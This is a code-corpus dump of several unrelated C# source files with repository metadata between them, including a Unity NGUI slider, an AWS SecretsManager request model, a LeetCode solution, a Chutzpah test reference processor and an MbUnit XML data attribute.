(HouseholdTrait)parent; hht._locations.Add(hd); hd.ParentHouseholdTrait = hht; return true; } return false; } private static bool IsCorrectHHTTagParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTTag)child; if (parent.ID == hd.HouseholdTraitID) { var hh = (HouseholdTrait)parent; hh.Tags.Add(hd); return true; } return false; } private static bool IsCorrectHHTLivingPatternTagParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTLivingPatternTag)child; if (parent.ID == hd.HouseholdTraitID) { var hh = (HouseholdTrait)parent; hh.LivingPatternTags.Add(hd); return true; } return false; } private static bool IsCorrectHHTTraitParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTTrait)child; if (parent.ID == hd.ParentTraitID) { var hht = (HouseholdTrait)parent; hht.SubTraits.Add(hd); return true; } return false; } public class JsonDto { [SuppressMessage("ReSharper", "NotNullMemberIsNotInitialized")] [Obsolete("Json Only")] public JsonDto() { } public JsonDto([CanBeNull] string name, [JetBrains.Annotations.NotNull] string description, [JetBrains.Annotations.NotNull] string classification, double estimatedDuration2InMinutes, double estimatedTimeCount, double estimatedTimeCount2, double estimatedTimePerYearInH, double estimatedTimes, double estimatedTimes2, TimeType estimatedTimeType, TimeType estimatedTimeType2, EstimateType estimateType, int maximumNumberInCHH, int maximumPersonsInCHH, int minimumPersonsInCHH, string shortDescription, StrGuid guid, double estimatedTimeInSeconds) { Name = name; Description = description; Classification = classification; EstimatedDuration2InMinutes = estimatedDuration2InMinutes; EstimatedTimeCount = estimatedTimeCount; EstimatedTimeCount2 = estimatedTimeCount2; EstimatedTimePerYearInH = estimatedTimePerYearInH; EstimatedTimes = estimatedTimes; EstimatedTimes2 = estimatedTimes2; EstimatedTimeType = estimatedTimeType; EstimatedTimeType2 = estimatedTimeType2; EstimateType = estimateType; MaximumNumberInCHH = maximumNumberInCHH; MaximumPersonsInCHH = maximumPersonsInCHH; MinimumPersonsInCHH = minimumPersonsInCHH; ShortDescription = shortDescription; Guid = guid; EstimatedTimeInSeconds = estimatedTimeInSeconds; } [JetBrains.Annotations.NotNull] [ItemNotNull] public List<HHTAutonomousDevice.JsonDto> AutonomousDevices { get; set; } = new List<HHTAutonomousDevice.JsonDto>(); [JetBrains.Annotations.NotNull] public string Classification { get; set; } [JetBrains.Annotations.NotNull] public string Description { get; set; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<HHTDesire.JsonDto> Desires { get; set; } = new List<HHTDesire.JsonDto>(); public double EstimatedDuration2InMinutes { get; set; } public double EstimatedTimeCount { get; set; } public double EstimatedTimeCount2 { get; set; } public double EstimatedTimeInSeconds { get; set; } public double EstimatedTimePerYearInH { get; set; } public double EstimatedTimes { get; set; } public double EstimatedTimes2 { get; set; } public TimeType EstimatedTimeType { get; set; } public TimeType EstimatedTimeType2 { get; set; } public EstimateType EstimateType { get; set; } public StrGuid Guid { get; set; } [JetBrains.Annotations.NotNull] [ItemNotNull] public List<HHTLocation.JsonDto> Locations { get; set; } = new List<HHTLocation.JsonDto>(); public int MaximumNumberInCHH { get; set; } public int MaximumPersonsInCHH { get; set; } public int MinimumPersonsInCHH { get; set; } [CanBeNull] public string Name { get; set; } public string ShortDescription { get; set; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<JsonReference> SubTraits { get; set; } = new List<JsonReference>(); public List<JsonReference> Tags { get; set; } = new List<JsonReference>(); public List<JsonReference> LivingPatternTags { get; set; } = new List<JsonReference>(); } } }
42.474886
194
0.558363
[ "MIT" ]
kyleniemeyer/LoadProfileGenerator
Database/Tables/ModularHouseholds/HouseholdTrait.cs
83,724
C#
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace DSWebUI.Models { public class OrderItemVM { public OrderItemVM() { } public string Breed { get; set; } [Display(Name = "Order Id")] public int OrderId { get; set; } public char Gender { get; set; } [Display(Name = "Dog Id")] public int DogId { get; set; } public double Price { get; set; } public List<string> DogStringList { get; set; } [Display(Name = "Store Inventory")] public string DogString { get; set; } [Required] [Range(1, 10, ErrorMessage = "Must be between 1 and 10")] public int Quantity { get; set; } } }
27.827586
65
0.597274
[ "MIT" ]
210503-Reston-NET/Fanner-Alex-P1
DogStore/DSWebUI/Models/OrderItemVM.cs
809
C#
//---------------------------------------------- // NGUI: Next-Gen UI kit // Copyright 짤 2011-2013 Tasharen Entertainment //---------------------------------------------- using UnityEngine; using System.Collections.Generic; /// <summary> /// Extended progress bar that has backwards compatibility logic and adds interaction support. /// </summary> [ExecuteInEditMode] [AddComponentMenu("NGUI/Interaction/NGUI Slider")] public class UISlider : UIProgressBar { enum Direction { Horizontal, Vertical, Upgraded, } // Deprecated functionality. Use 'foregroundWidget' instead. [HideInInspector][SerializeField] Transform foreground; // Deprecated functionality [HideInInspector][SerializeField] float rawValue = 1f; // Use 'value' [HideInInspector][SerializeField] Direction direction = Direction.Upgraded; // Use 'fillDirection' [HideInInspector][SerializeField] protected bool mInverted = false; [System.Obsolete("Use 'value' instead")] public float sliderValue { get { return this.value; } set { this.value = value; } } [System.Obsolete("Use 'fillDirection' instead")] public bool inverted { get { return isInverted; } set { } } /// <summary> /// Upgrade from legacy functionality. /// </summary> protected override void Upgrade () { if (direction != Direction.Upgraded) { mValue = rawValue; if (foreground != null) mFG = foreground.GetComponent<UIWidget>(); if (direction == Direction.Horizontal) { mFill = mInverted ? FillDirection.RightToLeft : FillDirection.LeftToRight; } else { mFill = mInverted ? FillDirection.TopToBottom : FillDirection.BottomToTop; } direction = Direction.Upgraded; #if UNITY_EDITOR UnityEditor.EditorUtility.SetDirty(this); #endif } } /// <summary> /// Register an event listener. /// </summary> protected override void OnStart () { GameObject bg = (mBG != null && mBG.GetComponent<Collider>() != null) ? mBG.gameObject : gameObject; UIEventListener bgl = UIEventListener.Get(bg); bgl.onPress += OnPressBackground; bgl.onDrag += OnDragBackground; if (thumb != null && thumb.GetComponent<Collider>() != null && (mFG == null || thumb != mFG.cachedTransform)) { UIEventListener fgl = UIEventListener.Get(thumb.gameObject); fgl.onPress += OnPressForeground; fgl.onDrag += OnDragForeground; } } /// <summary> /// Position the scroll bar to be under the current touch. /// </summary> protected void OnPressBackground (GameObject go, bool isPressed) { if (UICamera.currentScheme == UICamera.ControlScheme.Controller) return; mCam = UICamera.currentCamera; value = ScreenToValue(UICamera.lastTouchPosition); if (!isPressed && onDragFinished != null) onDragFinished(); } /// <summary> /// Position the scroll bar to be under the current touch. /// </summary> protected void OnDragBackground (GameObject go, Vector2 delta) { if (UICamera.currentScheme == UICamera.ControlScheme.Controller) return; mCam = UICamera.currentCamera; value = ScreenToValue(UICamera.lastTouchPosition); } /// <summary> /// Save the position of the foreground on press. /// </summary> protected void OnPressForeground (GameObject go, bool isPressed) { if (UICamera.currentScheme == UICamera.ControlScheme.Controller) return; if (isPressed) { mOffset = (mFG == null) ? 0f : value - ScreenToValue(UICamera.lastTouchPosition); } else if (onDragFinished != null) onDragFinished(); } /// <summary> /// Drag the scroll bar in the specified direction. /// </summary> protected void OnDragForeground (GameObject go, Vector2 delta) { if (UICamera.currentScheme == UICamera.ControlScheme.Controller) return; mCam = UICamera.currentCamera; value = mOffset + ScreenToValue(UICamera.lastTouchPosition); } /// <summary> /// Watch for key events and adjust the value accordingly. /// </summary> protected void OnKey (KeyCode key) { if (enabled) { float step = (numberOfSteps > 1f) ? 1f / (numberOfSteps - 1) : 0.125f; if (fillDirection == FillDirection.LeftToRight || fillDirection == FillDirection.RightToLeft) { if (key == KeyCode.LeftArrow) value = mValue - step; else if (key == KeyCode.RightArrow) value = mValue + step; } else { if (key == KeyCode.DownArrow) value = mValue - step; else if (key == KeyCode.UpArrow) value = mValue + step; } } } }
27.702532
111
0.685629
[ "MIT" ]
showstop98/gtb-client
Assets/ThirdParty/NGUI/Scripts/Interaction/UISlider.cs
4,379
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the secretsmanager-2017-10-17.normal.json service model. */ using System; using System.Collections.Generic; using System.Xml.Serialization; using System.Text; using System.IO; using Amazon.Runtime; using Amazon.Runtime.Internal; namespace Amazon.SecretsManager.Model { /// <summary> /// Container for the parameters to the DescribeSecret operation. /// Retrieves the details of a secret. It does not include the encrypted fields. Only /// those fields that are populated with a value are returned in the response. /// /// /// <para> /// <b>Minimum permissions</b> /// </para> /// /// <para> /// To run this command, you must have the following permissions: /// </para> /// <ul> <li> /// <para> /// secretsmanager:DescribeSecret /// </para> /// </li> </ul> /// <para> /// <b>Related operations</b> /// </para> /// <ul> <li> /// <para> /// To create a secret, use <a>CreateSecret</a>. /// </para> /// </li> <li> /// <para> /// To modify a secret, use <a>UpdateSecret</a>. /// </para> /// </li> <li> /// <para> /// To retrieve the encrypted secret information in a version of the secret, use <a>GetSecretValue</a>. /// </para> /// </li> <li> /// <para> /// To list all of the secrets in the AWS account, use <a>ListSecrets</a>. /// </para> /// </li> </ul> /// </summary> public partial class DescribeSecretRequest : AmazonSecretsManagerRequest { private string _secretId; /// <summary> /// Gets and sets the property SecretId. /// <para> /// The identifier of the secret whose details you want to retrieve. You can specify either /// the Amazon Resource Name (ARN) or the friendly name of the secret. /// </para> /// </summary> public string SecretId { get { return this._secretId; } set { this._secretId = value; } } // Check to see if SecretId property is set internal bool IsSetSecretId() { return this._secretId != null; } } }
30.419355
112
0.599859
[ "Apache-2.0" ]
GitGaby/aws-sdk-net
sdk/src/Services/SecretsManager/Generated/Model/DescribeSecretRequest.cs
2,829
C#
namespace LeetCode.Naive.Problems; /// <summary> /// Problem: https://leetcode.com/problems/detect-pattern-of-length-m-repeated-k-or-more-times/ /// Submission: https://leetcode.com/submissions/detail/390029009/ /// </summary> internal class P1566 { public class Solution { public bool ContainsPattern(int[] arr, int m, int k) { for (var startIndex = 0; startIndex <= arr.Length - m * k; startIndex++) { var contains = true; for (var pos = 0; pos < m; pos++) { contains &= Repeats(arr, startIndex + pos, m, k); } if (contains) return true; } return false; } private bool Repeats(int[] arr, int pos, int m, int k) { var values = new int[k]; for (var i = 0; i < k; i++) { values[i] = arr[pos + m * i]; } return values.Distinct().Count() == 1; } } }
22.690476
99
0.519412
[ "MIT" ]
viacheslave/algo
leetcode/c#/Problems/P1566.cs
953
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace FileExplorerHelper.Properties { using System; /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("FileExplorerHelper.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } }
43.75
184
0.615357
[ "Apache-2.0" ]
jdmclatcher/file-explorer-helper
FileExplorerHelper/FileExplorerHelper/Properties/Resources.Designer.cs
2,802
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using System; using System.Reflection; [assembly: Microsoft.Extensions.Configuration.UserSecrets.UserSecretsIdAttribute("b40783d0-e397-4c64-8195-b981f349f770")] [assembly: System.Reflection.AssemblyCompanyAttribute("StoreAppDBContext")] [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")] [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] [assembly: System.Reflection.AssemblyProductAttribute("StoreAppDBContext")] [assembly: System.Reflection.AssemblyTitleAttribute("StoreAppDBContext")] [assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] // Generated by the MSBuild WriteCodeFragment class.
44.92
121
0.676759
[ "MIT" ]
08162021-dotnet-uta/BlakeDrostRepo1
projects/project_1/StoreWebApplication/StoreAppDBContext/obj/Debug/net5.0/StoreAppDBContext.AssemblyInfo.cs
1,123
C#
using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Web.Http; using BetterMe.Models; namespace BetterMe.Controllers { public class UsersController : ApiController { // GET api/<controller> public IEnumerable<string> Get() { return new string[] { "value1", "value2" }; } // GET api/<controller>/5 public string Get(int id) { return "value"; } // POST api/<controller> public void Post([FromBody]string value) { } // PUT api/<controller>/5 public void Put(int id, [FromBody]string value) { } // DELETE api/<controller>/5 public void Delete(int id) { } //שליחת מייל עם הסיסמא [HttpGet] [Route("api/Users/resetPass")] public HttpResponseMessage resetPass(string email) { try { User u = new User(); u = u.Forgot(email); return Request.CreateResponse(HttpStatusCode.OK, u); } catch { return Request.CreateErrorResponse(HttpStatusCode.InternalServerError, "!שגיאה בשליחת המייל"); } } } }
22.677966
110
0.524664
[ "Apache-2.0" ]
rupi452021/BetterMeF
BetterMe/Controllers/UsersController.cs
1,373
C#
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text.RegularExpressions; using Chutzpah.Extensions; using Chutzpah.FrameworkDefinitions; using Chutzpah.Models; using Chutzpah.Wrappers; namespace Chutzpah { public class ReferencePathSettings { public ReferencePathSettings() { ExpandNestedReferences = true; } public ReferencePathSettings(SettingsFileReference settingsFileReference) { ExpandNestedReferences = false; Include = settingsFileReference.Include; Exclude = settingsFileReference.Exclude; IncludeInTestHarness = settingsFileReference.IncludeInTestHarness; IsTestFrameworkFile = settingsFileReference.IsTestFrameworkFile; } /// <summary> /// This determines if the reference path processing should read the file contents /// to find more references. This is set to false when the reference comes from chutzpah.json file since at that point /// the user is able to specify whatever they want /// </summary> public bool ExpandNestedReferences { get; set; } public string Include { get; set; } public string Exclude { get; set; } public bool IncludeInTestHarness { get; set; } public bool IsTestFrameworkFile { get; set; } } public interface IReferenceProcessor { /// <summary> /// Scans the test file extracting all referenced files from it. /// </summary> /// <param name="referencedFiles">The list of referenced files</param> /// <param name="definition">Test framework defintition</param> /// <param name="textToParse">The content of the file to parse and extract from</param> /// <param name="currentFilePath">Path to the file under test</param> /// <param name="chutzpahTestSettings"></param> /// <returns></returns> void GetReferencedFiles(List<ReferencedFile> referencedFiles, IFrameworkDefinition definition, string textToParse, string currentFilePath, ChutzpahTestSettingsFile chutzpahTestSettings); void SetupAmdFilePaths(List<ReferencedFile> referencedFiles, string testHarnessDirectory, ChutzpahTestSettingsFile testSettings); } public class ReferenceProcessor : IReferenceProcessor { private readonly IFileSystemWrapper fileSystem; private readonly IFileProbe fileProbe; public ReferenceProcessor(IFileSystemWrapper fileSystem, IFileProbe fileProbe) { this.fileSystem = fileSystem; this.fileProbe = fileProbe; } /// <summary> /// Scans the test file extracting all referenced files from it. /// </summary> /// <param name="referencedFiles">The list of referenced files</param> /// <param name="definition">Test framework defintition</param> /// <param name="textToParse">The content of the file to parse and extract from</param> /// <param name="currentFilePath">Path to the file under test</param> /// <param name="chutzpahTestSettings"></param> /// <returns></returns> public void GetReferencedFiles(List<ReferencedFile> referencedFiles, IFrameworkDefinition definition, string textToParse, string currentFilePath, ChutzpahTestSettingsFile chutzpahTestSettings) { var referencePathSet = new HashSet<string>(referencedFiles.Select(x => x.Path), StringComparer.OrdinalIgnoreCase); // Process the references that the user specifies in the chutzpah settings file foreach (var reference in chutzpahTestSettings.References.Where(reference => reference != null)) { // The path we assume default to the chuzpah.json directory if the Path property is not set var referencePath = string.IsNullOrEmpty(reference.Path) ? chutzpahTestSettings.SettingsFileDirectory : reference.Path; ProcessFilePathAsReference( referencePathSet, definition, chutzpahTestSettings.SettingsFileDirectory, chutzpahTestSettings, referencePath, referencedFiles, new ReferencePathSettings(reference)); } // Process the references defined using /// <reference comments in test file contents IList<ReferencedFile> result = GetReferencedFiles( referencePathSet, definition, textToParse, currentFilePath, chutzpahTestSettings); IEnumerable<ReferencedFile> flattenedReferenceTree = from root in result from flattened in FlattenReferenceGraph(root) select flattened; referencedFiles.AddRange(flattenedReferenceTree); } /// <summary> /// Add the AMD file paths for the Path and GeneratePath fields /// </summary> /// <param name="referencedFiles"></param> /// <param name="testHarnessDirectory"></param> /// <param name="testSettings"></param> public void SetupAmdFilePaths(List<ReferencedFile> referencedFiles, string testHarnessDirectory, ChutzpahTestSettingsFile testSettings) { // If the user set a AMD base path then we must relativize the amd path's using the path from the base path to the test harness directory string relativeAmdRootPath = ""; if (!string.IsNullOrEmpty(testSettings.AMDBasePath)) { relativeAmdRootPath = FileProbe.GetRelativePath(testSettings.AMDBasePath, testHarnessDirectory); } foreach (var referencedFile in referencedFiles) { referencedFile.AmdFilePath = GetAmdPath(testHarnessDirectory, referencedFile.Path, relativeAmdRootPath); if (!string.IsNullOrEmpty(referencedFile.GeneratedFilePath)) { referencedFile.AmdGeneratedFilePath = GetAmdPath(testHarnessDirectory, referencedFile.GeneratedFilePath, relativeAmdRootPath); } } } private static string GetAmdPath(string testHarnessDirectory, string filePath, string relativeAmdRootPath) { string amdModulePath = FileProbe.GetRelativePath(testHarnessDirectory, filePath); amdModulePath = Path.Combine(relativeAmdRootPath, amdModulePath) .Replace(Path.GetExtension(filePath), "") .Replace("\\", "/") .Trim('/', '\\'); return amdModulePath; } private IList<ReferencedFile> GetReferencedFiles( HashSet<string> discoveredPaths, IFrameworkDefinition definition, string textToParse, string currentFilePath, ChutzpahTestSettingsFile chutzpahTestSettings) { var referencedFiles = new List<ReferencedFile>(); Regex regex = RegexPatterns.JsReferencePathRegex; foreach (Match match in regex.Matches(textToParse)) { if (!ShouldIncludeReference(match)) continue; string referencePath = match.Groups["Path"].Value; ProcessFilePathAsReference( discoveredPaths, definition, currentFilePath, chutzpahTestSettings, referencePath, referencedFiles, new ReferencePathSettings()); } foreach (Match match in RegexPatterns.JsTemplatePathRegex.Matches(textToParse)) { string referencePath = match.Groups["Path"].Value; referencePath = AdjustPathIfRooted(chutzpahTestSettings, referencePath); string relativeReferencePath = Path.Combine(Path.GetDirectoryName(currentFilePath), referencePath); string absoluteFilePath = fileProbe.FindFilePath(relativeReferencePath); if (referencedFiles.All(r => r.Path != absoluteFilePath)) { ChutzpahTracer.TraceInformation("Added html template '{0}' to referenced files", absoluteFilePath); referencedFiles.Add(new ReferencedFile {Path = absoluteFilePath, IsLocal = false, IncludeInTestHarness = true}); } } return referencedFiles; } private void ProcessFilePathAsReference( HashSet<string> discoveredPaths, IFrameworkDefinition definition, string relativeProcessingPath, ChutzpahTestSettingsFile chutzpahTestSettings, string referencePath, List<ReferencedFile> referencedFiles, ReferencePathSettings pathSettings) { ChutzpahTracer.TraceInformation("Investigating reference file path '{0}'", referencePath); // Check test settings and adjust the path if it is rooted (e.g. /some/path) referencePath = AdjustPathIfRooted(chutzpahTestSettings, referencePath); var referenceUri = new Uri(referencePath, UriKind.RelativeOrAbsolute); string referenceFileName = Path.GetFileName(referencePath); // Ignore test runner, since we use our own. if (definition.ReferenceIsDependency(referenceFileName, chutzpahTestSettings)) { ChutzpahTracer.TraceInformation( "Ignoring reference file '{0}' as a duplicate reference to {1}", referenceFileName, definition.FrameworkKey); return; } var isRelativeUri = !referenceUri.IsAbsoluteUri; // If this either a relative uri or a file uri if (isRelativeUri || referenceUri.IsFile) { var relativeProcessingPathFolder = fileSystem.FolderExists(relativeProcessingPath) ? relativeProcessingPath : Path.GetDirectoryName(relativeProcessingPath); string relativeReferencePath = Path.Combine(relativeProcessingPathFolder, referencePath); // Check if reference is a file string absoluteFilePath = fileProbe.FindFilePath(relativeReferencePath); if (absoluteFilePath != null) { VisitReferencedFile(absoluteFilePath, definition, discoveredPaths, referencedFiles, chutzpahTestSettings, pathSettings); return; } // Check if reference is a folder string absoluteFolderPath = fileProbe.FindFolderPath(relativeReferencePath); if (absoluteFolderPath != null) { var includePattern = FileProbe.NormalizeFilePath(pathSettings.Include); var excludePattern = FileProbe.NormalizeFilePath(pathSettings.Exclude); // Find all files in this folder including sub-folders. This can be ALOT of files. // Only a subset of these files Chutzpah might understand so many of these will be ignored. var childFiles = fileSystem.GetFiles(absoluteFolderPath, "*.*", SearchOption.AllDirectories); var validFiles = from file in childFiles let normalizedFile = FileProbe.NormalizeFilePath(file) where !fileProbe.IsTemporaryChutzpahFile(file) && (includePattern == null || NativeImports.PathMatchSpec(normalizedFile, includePattern)) && (excludePattern == null || !NativeImports.PathMatchSpec(normalizedFile, excludePattern)) select file; validFiles.ForEach(file => VisitReferencedFile(file, definition, discoveredPaths, referencedFiles, chutzpahTestSettings, pathSettings)); return; } // At this point we know that this file/folder does not exist! ChutzpahTracer.TraceWarning("Referenced file '{0}' which was resolved to '{1}' does not exist", referencePath, relativeReferencePath); } else if (referenceUri.IsAbsoluteUri) { var referencedFile = new ReferencedFile { Path = referencePath, IsLocal = false, IncludeInTestHarness = true, IsTestFrameworkFile = pathSettings.IsTestFrameworkFile, }; ChutzpahTracer.TraceInformation( "Added file '{0}' to referenced files. Local: {1}, IncludeInTestHarness: {2}", referencedFile.Path, referencedFile.IsLocal, referencedFile.IncludeInTestHarness); referencedFiles.Add(referencedFile); } } /// <summary> /// If the reference path is rooted (e.g. /some/path) and the user chose to adjust it then change it /// </summary> /// <returns></returns> private static string AdjustPathIfRooted(ChutzpahTestSettingsFile chutzpahTestSettings, string referencePath) { if (chutzpahTestSettings.RootReferencePathMode == RootReferencePathMode.SettingsFileDirectory && (referencePath.StartsWith("/") || referencePath.StartsWith("\\"))) { ChutzpahTracer.TraceInformation( "Changing reference '{0}' to be rooted from settings directory '{1}'", referencePath, chutzpahTestSettings.SettingsFileDirectory); referencePath = chutzpahTestSettings.SettingsFileDirectory + referencePath; } return referencePath; } private ReferencedFile VisitReferencedFile( string absoluteFilePath, IFrameworkDefinition definition, HashSet<string> discoveredPaths, ICollection<ReferencedFile> referencedFiles, ChutzpahTestSettingsFile chutzpahTestSettings, ReferencePathSettings pathSettings) { // If the file doesn't exit exist or we have seen it already then return if (discoveredPaths.Contains(absoluteFilePath)) return null; var referencedFile = new ReferencedFile { Path = absoluteFilePath, IsLocal = true, IsTestFrameworkFile = pathSettings.IsTestFrameworkFile, IncludeInTestHarness = pathSettings.IncludeInTestHarness || chutzpahTestSettings.TestHarnessReferenceMode == TestHarnessReferenceMode.Normal }; ChutzpahTracer.TraceInformation( "Added file '{0}' to referenced files. Local: {1}, IncludeInTestHarness: {2}", referencedFile.Path, referencedFile.IsLocal, referencedFile.IncludeInTestHarness); referencedFiles.Add(referencedFile); discoveredPaths.Add(referencedFile.Path); // Remmember this path to detect reference loops ChutzpahTracer.TraceInformation("Processing referenced file '{0}' for expanded references", absoluteFilePath); if (pathSettings.ExpandNestedReferences) { referencedFile.ReferencedFiles = ExpandNestedReferences(discoveredPaths, definition, absoluteFilePath, chutzpahTestSettings); } return referencedFile; } private IList<ReferencedFile> ExpandNestedReferences( HashSet<string> discoveredPaths, IFrameworkDefinition definition, string currentFilePath, ChutzpahTestSettingsFile chutzpahTestSettings) { try { string textToParse = fileSystem.GetText(currentFilePath); return GetReferencedFiles(discoveredPaths, definition, textToParse, currentFilePath, chutzpahTestSettings); } catch (IOException e) { // Unable to get file text ChutzpahTracer.TraceError(e, "Unable to get file text from test reference with path {0}", currentFilePath); } return new List<ReferencedFile>(); } private static IEnumerable<ReferencedFile> FlattenReferenceGraph(ReferencedFile rootFile) { var flattenedFileList = new List<ReferencedFile>(); foreach (ReferencedFile childFile in rootFile.ReferencedFiles) { flattenedFileList.AddRange(FlattenReferenceGraph(childFile)); } flattenedFileList.Add(rootFile); return flattenedFileList; } /// <summary> /// Decides whether a reference match should be included. /// </summary> /// <param name="match">The reference match.</param> /// <returns> /// <c>true</c> if the reference should be included, otherwise <c>false</c>. /// </returns> private static bool ShouldIncludeReference(Match match) { if (match.Success) { var exclude = match.Groups["Exclude"].Value; if (string.IsNullOrWhiteSpace(exclude) || exclude.Equals("false", StringComparison.OrdinalIgnoreCase) || exclude.Equals("no", StringComparison.OrdinalIgnoreCase)) { // The exclude flag is empty or negative return true; } } ChutzpahTracer.TraceInformation("Excluding reference file because it contains a postitive chutzpah-exclude attribute"); return false; } } }
44.756219
200
0.617386
[ "Apache-2.0" ]
puneethp/chutzpah
Chutzpah/ReferenceProcessor.cs
17,994
C#
// Copyright 2005-2010 Gallio Project - http://www.gallio.org/ // Portions Copyright 2000-2004 Jonathan de Halleux // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. using System; using System.Collections; using System.Collections.Generic; using System.Dynamic; using System.IO; using System.Linq; using System.Reflection; using System.Xml; using System.Xml.Linq; using System.Xml.XPath; using Gallio.Common; using Gallio.Common.IO; using Gallio.Common.Reflection; using Gallio.Framework; using Gallio.Framework.Data; using Gallio.Framework.Data.DataObjects; using Gallio.Framework.Pattern; namespace MbUnit.Framework { /// <summary> /// Parses one-to-many Xml files into dynamic XmlDataObjects for data-driven tests. /// Returns the Cartesian Product of all of sets (lists) of Elements specified by the XPaths. /// </summary> /// <remarks> /// <para> /// /// </para> /// </remarks> [AttributeUsage(PatternAttributeTargets.DataContext, AllowMultiple = false, Inherited = true)] public class XmlDataObjectCartesianAttribute : DataPatternAttribute { private readonly FactoryKind kind = FactoryKind.Auto; private int columnCount; // By default, our attribute is only uses the XmlDataObjectFactory.Method(List<List<XElement>>) private readonly Type factoryType = typeof(XmlDataObjectFactory); private readonly string factoryMethodName = "MultipleDocuments"; // This mandatory properties are passed to the factory method private object[] FileAndXPathCouplets; /// <summary> /// Specifies the declaring type and name of a static method, property or field /// that will provide values for a data-driven test. /// </summary> /// <param name="FileAndXPathCouplets">Array contain pairs of Xml File Paths and XPaths</param> public XmlDataObjectCartesianAttribute(params object[] FileAndXPathCouplets) { // First things first: we need pairs of Xml files and XPaths if (FileAndXPathCouplets.Length % 2 != 0) { throw new ArgumentException("Even number of arguments is required"); } this.FileAndXPathCouplets = FileAndXPathCouplets; this.columnCount = FileAndXPathCouplets.Length / 2; } /// <summary> /// CLS-compliant constructor for single file /// </summary> public XmlDataObjectCartesianAttribute(string FilePath1, string XPath1) { this.FileAndXPathCouplets = new object[] { FilePath1, XPath1 }; this.columnCount = 1; } /// <summary> /// CLS-compliant constructor for two-file combination /// </summary> public XmlDataObjectCartesianAttribute(string FilePath1, string XPath1, string FilePath2, string XPath2) { this.FileAndXPathCouplets = new object[] { FilePath1, XPath1, FilePath2, XPath2 }; this.columnCount = 2; } /// <summary> /// CLS-compliant constructor for three-file combination /// </summary> public XmlDataObjectCartesianAttribute( string FilePath1, string XPath1, string FilePath2, string XPath2, string FilePath3, string XPath3) { this.FileAndXPathCouplets = new object[] { FilePath1, XPath1, FilePath2, XPath2, FilePath3, XPath3 }; this.columnCount = 3; } /// <summary> /// CLS-compliant constructor for four-file combination /// </summary> public XmlDataObjectCartesianAttribute( string FilePath1, string XPath1, string FilePath2, string XPath2, string FilePath3, string XPath3, string FilePath4, string XPath4) { this.FileAndXPathCouplets = new object[] { FilePath1, XPath1, FilePath2, XPath2, FilePath3, XPath3, FilePath4, XPath4 }; this.columnCount = 4; } /// <summary> /// CLS-compliant constructor for four-file combination /// </summary> public XmlDataObjectCartesianAttribute( string FilePath1, string XPath1, string FilePath2, string XPath2, string FilePath3, string XPath3, string FilePath4, string XPath4, string FilePath5, string XPath5) { this.FileAndXPathCouplets = new object[] { FilePath1, XPath1, FilePath2, XPath2, FilePath3, XPath3, FilePath4, XPath4, FilePath5, XPath5 }; this.columnCount = 5; } /// <inheritdoc /> protected override void PopulateDataSource(IPatternScope scope, DataSource dataSource, ICodeElementInfo codeElement) { var invoker = new FixtureMemberInvoker<IEnumerable>(factoryType, scope, factoryMethodName); // Get List-of-Lists of Eleemnts var listOfListsOfElements = BuildListOfNodeLists(codeElement); // Use Gallio's invoker 